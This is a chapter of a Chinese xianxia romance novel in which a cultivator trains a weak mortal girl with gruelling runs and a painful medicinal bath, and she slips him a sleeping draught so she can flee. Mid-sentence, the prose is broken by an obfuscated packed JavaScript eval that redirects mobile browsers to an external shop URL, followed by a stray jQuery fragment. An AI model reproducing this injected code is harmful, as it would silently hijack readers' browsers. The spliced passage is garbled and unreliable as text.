“所以我是一定要找尘音仙君的。”
天上地下,她都和尘音仙君一样罕见了,谁还能帮她?
谢子真抓起她的后衣领,将她重新扔回剑上,眸色渐沉。
“我说要带你修仙,就一定会做到。”他学着她的语气,“你少看不起人了。”
常绵竹安静地站着,心里腹诽,南宫流真的是他好友吗?怎么感觉越来越不对劲了。
回了白玉船上,她踉踉跄跄就飘回自己屋里,往床榻上钻。
上仙界这半月,她跟着谢子真走南闯北,虽都是坐白玉船前往,但惊叹震撼时精力也消耗了不少。从前在常府时,一月都出不了一次门,实在是有些累到了。
“日历啊,你这船总在天上飘着,你就没有个固定的居所么?”常绵竹尽量让自己的语气没有别的意思。
散修贫苦,若要辟一座山头为居所而不被其他修士知道,是很难的。可谢子真不是平常的散修,堂堂金丹修士,天天住在一座船上,实在是有些贻笑大方。
她想,难不成谢子真把所有家当都用在这座船上装面子了?
谢子真落后她几步进了屋内,看见常绵竹又躺在了床上,动手隔空将人拽了起来。
“居所有一些,不知道你喜欢哪个,过来挑。”
常绵竹真要修仙,必是要有练功的地方,为了这事,今天一大早他就出去了,才让她睡到日上三竿。
他一挥手,五座灵峰剪影绕着她转。
常绵竹站得勉强的身子一下立直了,新奇地一个个看过去。
“看不出来,你原来这么富裕?”
“我已经挑选过了,此五座山属性对应金、木、水、火、土,你没有灵根,只能人为造一个。凭喜好挑选一个你想要的属性。”
若是有旁人在,定得咂舌:什么叫挑选过了?是还有别的山吗?
常绵竹自诩绝顶聪慧,但向来不深思别人话里有什么旁的意思,她也听不出来,眸光闪闪地看了好几圈后,选了闪着金光的山头。
“就这个金色的吧,看着很富裕!”
此事若是别人来做,谢子真会觉得草率意外,可是常绵竹,他觉得完全在意料之中。早上他搜寻的灵药仙草,也多是金属性的。
金光闪闪的,看着好看。
他看了一眼常绵竹头顶摇摇晃晃深浅不一的绿色珠钗,又向下看到他改过水绿色曲裾:“选好了,就没有回头路了。练到一半不练了,就算我事先承诺过你,也不会任你胡闹。”
“知道了知道了。”
常绵竹从环绕着她的山的剪影山下钻出,往床上一跳,准备和她心爱的床亲密接触,继续培养感情。
这床经过她改造,已经看不出原来的样子了。白玉虽好,据说还有温养□□神魂之效,奈何玉终归是玉,硬邦邦的实在是不舒服。
她铺了自己从小睡到大的天蚕丝绒被,枕头也换了软圆枕,毫不夸张的说,她可以在上面躺一整天不落地。
听见谢子真转身向外走的声音,常绵竹幸福地眯起眼,她离床榻越来越近,准备与自己的亲手打造的小窝度过愉快的单人时光。
然而,脸就想要扑到绒被上时,她整个人停滞住了。天蚕丝还是那样迷人,反着柔和的光,却离她越来越远,藏起令人遐想的无边舒适。
常绵竹伸着的手倔强地维持撑直的动作,所有的器物都在倒退,她以扑床的动作,向门外飞去。
谢子真的声音从门外传来:“未来的剑修小姐,你该去练功了。”
“什么?今天,现在,此刻,就开始了吗?!”
沉默,代替了肯定。
是的。
*
出了白玉船一层常绵竹的房间,她才发现船早已降落,停在一座金光闪闪的山上,亮得她的眼都要睁不开。
眼泛着酸,她晕乎乎的想,带她修仙这件事,谢子真竟然真的是认真的。
而且,超乎意料的,格外认真。
她一路飞到山顶上,才从横趴着的姿势变回站立。双脚落地,心里的伤心散了个干净,她问:“我没有灵根,我天资奇差,我怎么修炼啊?”
谢子真为了她这样上心,她也是知好歹的。
谢子真没收回的灵力把常绵竹的衣服捋顺,确认得体才收回视线,回道:“昨夜我翻阅古籍,连夜为你寻了一些功法和灵药仙草。灵根一事,练气后再想法子也不迟。”
只要开始修行,尚未筑基者都为练气期修士。练气有长有短,不分好坏,只要有修仙资质,多能凭自身天赋进入此境界。筑基,却是一件难事,也是修士之间的分水岭。
筑基依靠的还是修士的天资,天资卓越者,可以为自己筑造一个夯实的基础,为后来结丹省去不少事。天资平平者,则难以筑基,即便筑基了,未来结丹晋升的希望也是寥寥无几。
“你真的有法子?”常绵竹追问,“筑基期是最看天资的,筑基顺畅,从此仙途坦荡。”
谢子真看上去不像是自视甚高,打诳语的人,她也得留个心眼,免得忙活一场后空欢喜。
“你倒是对这些都挺了解。”
“那是,”常绵竹骄傲道,“我本就聪慧,又对修仙一事上心,什么是有心之人打探不来的?”
“不愧是未来仙君夫人呢。”
话是好的,只是谢子真从不认为她梦见的是尘音仙君,她知道这是在取笑她,眉毛一竖,就要和谢子真争辩。
谢子真:“放心吧常绵竹,我不会骗你的。我说你能筑基,你就能。世界上本来就没有什么绝对的事。”
他手指微动,无数奇珍异宝闪现。
“你不止没有灵根,也没有丹田,首要任务是练出一个能容纳灵根的丹田。体内干瘪空洞,就算我现在为你筑根,你也承受不了。”
常绵竹看花了眼。
宝物,都是宝物。
漫山遍野,谢子真有的东西竟然和野草一样多。怪不得他不信自己梦到了仙君,原来是对自己说的赏赐没放在心上。
金丹修士尚且如此厉害,她简直不敢想尘音仙君会是多么的超凡脱俗。两届都知道,他是数万年来第一个有可能飞升的人。等她找到了人,岂不是仙君一挥手,她或许就立刻筑基甚至结丹了?!
常绵竹想美了,嘿嘿笑出声。
谢子真看在眼里,被这笑声感染,常年僵持的面部肌肉松了几分。说到底,面前的人也就是个孩子。仙界的凡间人尚且对修仙无法释怀,更何况对仙界所知甚少、对修仙艰难一无所知的凡界中人呢。
等她成功走上道途,就再不会想着找人了。
“所以,你连夜为我收集灵药?”常绵竹用手背抹了抹嘴角。
谢子真眼都未抬,神情没有半分变化:“不足挂齿的小事,本就是助你修仙要做的。”
“我好感动啊……日历……”
谢子真松了松自己的腕上的护具,道:“等会再感谢也不迟。”
常绵竹:“嗯?”
三个时辰后,她总算是明白了什么叫等会再谢也不迟。
从山顶跑到山下,再从山下跑到山顶,常绵竹花了这足足两个时辰也才跑了一圈。日暮西沉,天空染成和山周围朦胧的金光一样的颜色。她无暇欣赏这样的美景,谢子真定的任务是——十圈,十圈!
她不想感谢了,什么都不想了,完全失去了人生的动力,废柴……废柴也挺好的……
“你和走有区别么?”谢子真阴测测的声音响起,常绵竹吓了一跳,步子不自觉加快,想停也停不下来。
修仙,怎么还有肉身的事啊!
常绵竹哽咽,这不是她想要的修仙。
“日历,我不练了,不练了……”
第三圈后,山林万籁俱寂。山周围的金色光环都陷入了沉眠,无影无踪。常绵竹再也支撑不住,往草地上一扑,决定以天被被,以地为床。
谢子真松口地很快:“行啊,那泡药浴吧。”
常绵竹太累了,都没有多余的心思去想谢子真怎么答应的这么快。
她松了一大口气:“药浴?药浴好啊,好……”
好就有鬼了。
氤氲药雾中,常绵竹双颊酡红,额间渗出细细汗珠,以极小的幅度微微起伏着,看上去在忍耐很大的痛苦,没有心力再说话。
“日、日历……”
她不是看上再承受痛苦,她是真的痛得不能再痛,说不出话。
这一刻脑中前所未有的清明,谢子真是完全没考虑她的根骨都差到千年难遇了,展示自己的实力一股脑给她下了猛药,完全不管她能不能吸收了啊!
她浑身火辣,血管像是吸饱了血的蚂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889201|212689||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蚱凸起身子,就要炸开。
谢子真不解:“有这么难受吗?”
药浴泡完后,丹田受到滋养,整个人都会浑身通畅。她喘得这么厉害,让他有些不自在。
抬手禁了常绵竹的言:“……你,坚持坚持。”
失去说话权的常绵竹:“……”
她忍了一会,可惜她不是个能忍到主,实在是忍无可忍。在药桶中剧烈挣扎,想要爬出来。
谢子真眼中的温度冷了几分,解了常绵竹的言,他说:“你做什么。”
常绵竹像溺水获救的人,趴在木桶的边缘上。她再一次感慨,金丹和化神所差无几,但终究是天壤之别。
“好了好了,我不需要你帮我修仙。我自己去找尘音仙君,他贵为天下第一修士,一定不像你这样简单粗暴!”
“这才第一天,你都不能坚持,日后还有千难万险,你又待如何?”谢子真冷硬道,无视了常绵竹的撒泼,将爬出一半的人摁了回去,又加了些仙药进去。
直到药效完全吸收完他才把她放出来。
“修仙就是这样你死我活,你不快些提升修为,就会死在别人的剑下。你若是连这个苦都受不了,就别修仙了。更何况,你的资质还这么差。天完全亮后,我会去唤你。”
这个时候,常绵竹已经不知道自己是谁了。她本想怒吼,想质问,谢子真是金丹修士,自幼就没受过修行的苦吧。
可她呢。
她只是一介凡人,还是根骨奇差的千年难遇废柴。哪怕再想修仙,也得活着才能修行啊。
身上的每一处肉不是自己的了。喉腔里满是铁锈味,她毫不怀疑,再泡几次自己绝对会吐血而亡。
受苦的是她,谢子真还板着一张比她还臭的脸,像是受了多大委屈。常绵竹叫苦连天,她都按他的意思做完了,这人还给她摆脸色。
被巨大的恐惧支配着,临睡前,常绵竹端着假笑,敲响了谢子真的门。
他们已经从白玉船上下来了,住进了这座金山上的小院。两人的房间挨得很近,就在隔壁。
这小院别致,只是了无生气。没有经历绕山跑和练功,常绵竹或许会十分高兴地欣赏院子的布置。此刻,她看着谢子真雅致的小院,注意力全在自己手上的小盅里。
“你辛苦了,日历。我用家中带来的食材包煮的助眠茶。”
何止是助眠,她给谢子真下了安神药。
她不知道有没有用,但不想再经历魔鬼般恐怖的摧残。自己是他带上界的,她怕他不肯放她走,担心受她牵连。
这仙界修士可不似凡界,此界修士如云,她实在不想在谢子真一棵树上吊死。她如此谨慎,也不至于蠢到丢了小命连累无辜。
此人喜怒无常,有时候是觉得好相与极了。她心想,南宫流的话还是没说错,他们相识已久,最是了解,谢子真终归还是个冷血的人。
谢子真一言不发,看了她很久。
常绵竹心如擂鼓。
吞咽声慢慢传来,她掀起眼皮,正好看见谢子真将小盅放回托盘上。
她才沐浴过,这一会惊出一身冷汗。伴着药浴的香气,一点一点化开在两人周身。
谢子真有些自嘲,关上了自己的房门。
“晚安,常绵竹。”
常绵竹心不在焉地应了声“好”,极力抑制着雀跃回了自己房里。明明很累,她却没有丝毫睡意,心中满是有些憧憬。
一个时辰后,天微微亮起。
鬼鬼祟祟的拉开了门,常绵竹先探出了个脑袋,没有灵力威压。
很好,安全。
她的头发垂在胸前,夜色里她如鬼魅,步子也一样轻快。天将亮起,绕山跑时,她注意到了山下不远处是人家的。给些灵石,让他们指路仙间、凡间都可。到了繁华地带,就方便物色新的修士了。
盘算完路线,常绵竹大步流星地踏出了门。
山间居所主院里,床榻上的谢子真蜷着的手伸开,眼睫颤动。
人走出了院子的灵力范围内,他没有睁开眼,没有去追。凡界的安眠药,好像真的将他迷晕。
屋内不远处的桌子上,金锁珠钗映出一点微光,那是仙界的样式,华而有实。
屋外,白玉船依偎在山居旁散着冷清的光,这座才住下的院子,又变回最初的模样了。